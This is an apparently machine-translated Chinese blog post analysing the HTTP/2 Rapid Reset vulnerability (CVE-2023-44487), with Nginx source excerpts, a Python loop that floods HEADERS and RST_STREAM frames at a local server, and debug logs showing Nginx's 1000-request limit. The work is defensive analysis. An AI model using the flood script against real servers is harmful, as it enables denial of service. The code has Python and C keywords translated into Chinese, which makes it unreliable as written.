发布于周五 15:045天前 近日,安全圈公布了一个0day漏洞[CVE-2023-44487](https://nvd.nist.gov/vuln/detail/CVE-2023-44487),该漏洞利用HTTP/2快速重置机制进行DDoS攻击。由于HTTP/2协议在互联网上得到广泛应用,该漏洞一经发布就引起了业界的广泛关注。 [上一篇文章](https://zhuanlan.zhihu.com/p/647033026)我们介绍了雷驰WAF在代理模式下使用Nginx作为流量转发引擎。 Nginx在官网介绍了【该漏洞影响Nginx影响】(https://www.nginx.com/blog/http-2-rapid-reset-attack-impacting-f5-nginx-products/)。简单来说,Nginx作为一个经过时间考验的“Web服务器/代理服务器”,本身就提供了多种缓解DDoS攻击的方法。具体到这个漏洞,如果以下两个配置采用Nginx的默认值,那么这个攻击对Nginx基本没有影响: * `keepalive_requests`: 保持默认配置1000 * `http2_max_concurrent_streams`: 保持默认配置128 需要注意的是,Nginx 1.19.7 及更高版本使用keepalive_requests 来限制HTTP/2 TCP 连接上的请求总数,而1.19.7 之前的版本使用http2_max_requests 来达到此目的。 **当前Thunderpool主线版本以上的配置保持默认值,因此该漏洞对Thunderpool没有影响**。 在这篇文章中,我们将深入Nginx的源码,分析为什么Nginx的这两种配置能够缓解该漏洞对Nginx的攻击。 ## 1. 漏洞原理 首先我们来解释一下该漏洞的详细工作原理。 与HTTP/1.1 相比,HTTP/2 协议的一个显着优化是“单个连接上的多路复用”:HTTP/2 允许在单个连接上同时发送多个请求,每个HTTP 请求/响应使用不同的流。连接上的数据流称为“数据帧”,每个数据帧都包含一个固定的标头来描述“数据帧”的类型、所属的流ID等。一些比较重要的“数据帧”类型包括: * `SETTINGS` 帧:它是一个控制消息,用于传递有关http2 连接的配置参数。例如,“SETTINGS_MAX_CONCURRENT_STREAMS”定义连接上并发流的最大数量。 * `HEADERS` 框架:包含HTTP 标头 * `DATA` 帧:包含HTTP 正文 * `RST_STREAM` 帧:直接取消流。如果客户端不再希望接收服务器的响应,可以直接发送`RST_STREAM`帧 HTTP/2 协议支持设置TCP 连接上的最大并发流数,从而限制TCP 连接上正在进行的HTTP 请求的数量。客户端可以通过发送“RST_STREAM”帧直接取消流。当服务器收到`RST_STREAM`帧时,会直接关闭该流,该流将不再属于`活动流`。 例如,假设当前TCP连接设置的最大并发流数为1,则下图所示,客户端发送req1后,立即发送req2。此时服务器并没有真正处理第二个请求,而是直接响应`RST_STREAM`。只有服务器完成req1处理后,客户端才能发送下一个请求: 如果客户端发送req1,然后发送`RST_STREAM`,那么客户端可以不断地向服务器发送请求,而无需等待任何响应,服务器就陷入了不断`接受请求-处理请求-直接结束请求`的循环: 虽然服务器收到`RST_STREAM`后会直接结束当前请求的处理,但**但由于一般高性能服务器都是全异步模型,在优雅地结束当前请求的处理之前可能已经消耗了一些系统资源来处理该请求(例如对于代理服务器来说,可能已经与上游建立了连接)**。恶意攻击者可以利用该漏洞,通过连续的“HEADERS”和“RST_STREAM”帧组合来消耗服务器资源,从而影响服务器的正常请求处理,引发DDoS攻击。 ## 2. 对Nginx 的影响 接下来我们基于Nginx 1.20.2版本来分析为什么可以通过Nginx的http2_max_concurrent_streams和keepalive_requests配置来缓解该攻击的影响?首先下图展示了Nginx的HTTP/2的大致实现原理: 可见Nginx对于HTTP/2流量处理的核心实现逻辑是: * 对于HTTP/2 TCP 连接,Nginx 将为每个底层TCP 连接创建一个`ngx_http_v2_connection_t` 结构体 * 通过状态机解析TCP连接的上层数据帧,将解析后的数据帧转换为标准的`ngx_http_request_t`,进入一般的HTTP请求处理流程 * 每个流上的网络连接都会创建一个`ngx_connection_t`(称为`fake connection`),请求中对应的connection字段会被设置为`fake connection`以满足Nginx HTTP框架对请求的处理 * 当需要向HTTP/2连接返回响应时,请求头通过`ngx_http_v2_filter_module`过滤器模块转换为HEADERS帧,并将`fake Connection`上的send_chain接口设置为`ngx_http_v2_send_chain`,用于将请求体转换为DATA帧 当ngx_http_v2_create_stream() 创建流时,它会增加该TCP 连接上的请求计数: ````c 静态ngx_http_v2_stream_t * ngx_http_v2_create_stream(ngx_http_v2_connection_t *h2c, ngx_uint_t 推送) { . h2c-连接-请求++; . } ```` 每次收到HEADERS 帧时,ngx_http_v2_state_headers 都会判断当前tcp 连接上的请求数是否已达到最大值: ````c 静态u_char * ngx_http_v2_state_headers(ngx_http_v2_connection_t *h2c, u_char *pos, u_char *结束) { . if (clcf-keepalive_timeout==0 //判断TCP连接的请求数是否达到最大值 //1.19.7之前对比的值为h2scf-max_requests || h2c-连接请求=clcf-keepalive_requests || ngx_current_msec - h2c-连接-开始时间 clcf-keepalive_time) { h2c-goaway=1; 如果(ngx_http_v2_send_goaway(h2c,NGX_HTTP_V2_NO_ERROR)==NGX_ERROR){ 返回ngx_http_v2_connection_error(h2c, NGX_HTTP_V2_INTERNAL_ERROR); } } . } ```` 由于keepalive_requests配置的默认值为1000,因此即使使用“HEADERS”和“RST_STREAM”帧序列构造快速重置攻击,Nginx也可以将TCP连接上的请求总数限制为1000。如果攻击者想要继续利用此漏洞,他将不得不创建一个新的TCP 连接。此时,他可以继续使用标准的L4监控和警报工具来进一步加强防护。 ## 3. 尝试重现 接下来我们尝试重现问题并确认上述逻辑。 首先准备一个python http/2客户端如下,不断发送HEADERS帧和RST_STREAM帧序列: ````蟒蛇 #!/usr/bin/env python3 进口插座 导入SSL 进口证明 导入h2.connection 导入h2.events 服务器名称='127.0.0.1' 服务器端口=443 # 通用套接字和ssl 配置 套接字.setdefaulttimeout(15) ctx=ssl.create_default_context(cafile=certifi.where()) ctx.check_hostname=False ctx.verify_mode=ssl.CERT_NONE ctx.set_alpn_protocols(['h2']) # 打开到服务器的套接字并启动TLS/SSL s=socket.create_connection((SERVER_NAME, SERVER_PORT)) s=ctx.wrap_socket(s, server_hostname=SERVER_NAME) c=h2.connection.H2Connection() c.initiate_connection() s.sendall(c.data_to_send()) 标题=[ (':方法','获取'), (':路径', '/'), (':权限',SERVER_NAME), ] 而True: Stream_id=c.get_next_available_stream_id() 打印(流id) c.send_headers(stream_id, headers, end_stream=True) s.sendall(c.data_to_send()) c.reset_stream(stream_id) s.sendall(c.data_to_send()) # 告诉服务器我们正在关闭h2 连接 c.close_connection() s.sendall(c.data_to_send()) # 关闭套接字 s.close() ```` 从Nginx调试日志中我们可以看到,当Nginx收到第1000个请求时(sid为1999),Nginx发送了一个GOAWAY帧。之后,即使TCP 连接收到HTTP/2 HEADERS 帧和RST_STREAM 帧,这些帧也会被忽略: ````bash //收到HEADERS 帧 107347 2023/10/16 15:26:48 [调试] 10#0: *5 http2 HEADERS 帧sid:1999 取决于0 excl:0 Weight:16 107348 2023/10/16 15:26:48 [调试] 10#0: *5 posix_memalign: 00007FCCB384E400:1024 @16 107349 2023/10/16 15:26:48 [调试] 10#0: *5 posix_memalign: 00007FCCB383D000:4096 @16 107350 2023/10/16 15:26:48 [调试] 10#0: *5 posix_memalign: 00007FCCB383B000:4096 @16 //发送GOAWAY帧 107352 2023/10/16 15:26:48 [调试] 10#0: *5 http2发送GOAWAY帧:最后一个sid 1999,错误0 . //收到RST_STREAM帧后,当前请求直接结束 107426 2023/10/16 15:26:48 [调试] 10#0: *5 http2 RST_STREAM 帧,sid:1999 status:0 107427 2023/10/16 15:26:48 [信息] 10#0: *5 连接到上游时客户端终止流1999,状态为0,client: 127.0.0.1,server: _,r 107428 2023/10/16 15:26:48 [调试] 10#0: *5 http 运行request: \'/?\' 107429 2023/10/16 15:26:48 [调试] 10#0: *5 http上游检查客户端,写入event:0,\'/\' 107430 2023/10/16 15:26:48 [调试] 10#0: *5 完成http上游请求: 499 107431 2023/10/16 15:26:48 [debug] 10#0: *5 完成http代理请求 107432 2023/10/16 15:26:48 [调试] 10#0: *5 个免费keepalive 对等点 107433 2023/10/16 15:26:48 [调试] 10#0: *5 空闲rr 对等点1 0 107434 2023/10/16 15:26:48 [调试] 10#0: *5 关闭http上游连接: 13 107435 2023/10/16 15:26:48 [调试] 10#0: *5 免费: 00007FCCB384AA80,未使用: 48 107436 2023/10/16 15:26:48 [调试] 10#0: *5 事件计时器del: 13: 1634765351 107437 2023/10/16 15:26:48 [调试] 10#0: *5 可重用连接: 0 107438 2023/10/16 15:26:48 [调试] 10#0: *5 http 完成request: 499, \'/?\' a:1, c:1 107439 2023/10/16 15:26:48 [调试] 10#0: *5 http 终止请求count:1 107440 2023/10/16 15:26:48 [调试] 10#0: *5 http 终止清理count:1 blk:0 . //后续收到的HEADERS 帧和RST_STREAM 帧将被忽略。 107453 2023/10/16 15:26:48 [调试] 10#0: *5 http2 帧类型:1 f:5 l:4 sid:2001 107454 2023/10/16 15:26:48 [调试] 10#0: *5 跳过http2 HEADERS 帧 107455 2023/10/16 15:26:48 [调试] 10#0: *5 http2 跳帧4 107456 2023/10/16 15:26:48 [调试] 10#0: *5 http2 帧完整pos:00007FCCB31846F7 end:00007FCCB3185744 107457 2023/10/16 15:26:48 [调试] 10#0: *5 http2 帧类型:3 f:0 l:4 sid:2001 107458 2023/10/16 15:26:48 [调试] 10#0: *5 http2 RST_STREAM 帧,sid:2001 status:0 107459 2023/10/16 15:26:48 [调试] 10#0: *5 未知的http2流 ```` ## 4. 总结 RST_STREAM帧也是HTTP/2相对于HTTP/1.1的优化之一。它允许客户端直接取消一个流而不需要关闭连接,让服务器做更少的“无用功”。服务器收到RST_STREAM帧后,将直接终止当前请求的处理。上述行为可以认为是协议层面的设计。在实际实现中,高性能服务器会采用某种异步处理模型,使得请求的处理和结束不在同一个上下文中。这导致服务器在实际结束请求之前已经消耗了一些资源来处理请求。 **恶意攻击者通过连续的“HEADERS”和“RST_STREAM”帧序列绕过服务器的“最大并发流”限制,允许“执行不当”的服务器无限制地消耗资源来处理那些“不需要在协议级别处理的请求”**。 Nginx 的keepalive_requests 默认配置可以将攻击者在TCP 连接上发送的请求总数限制为1000 个,使得该漏洞基本不受Nginx 的影响。 作为广泛使用的工业级Web服务器/代理服务器,Nginx本身提供了大量的配置来防御DDoS。轮子虽好,但使用起来却很困难。 Nginx虽然功能强大,但是其学习、开发、维护要求比较高。本文以分析该漏洞为契机,向Nginx 爱好者介绍HTTP/2 的一些基础知识以及Nginx 的HTTP/2 的大致实现。 ## 5.参考 * [HTTP/2快速重置攻击影响F5 NGINX产品](https://www.nginx.com/blog/http-2-rapid-reset-attack-impacting-f5-nginx-products/) * [HTTP/2 Rapid Reset:解构破纪录攻击](https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/)
创建帐户或登录后发表意见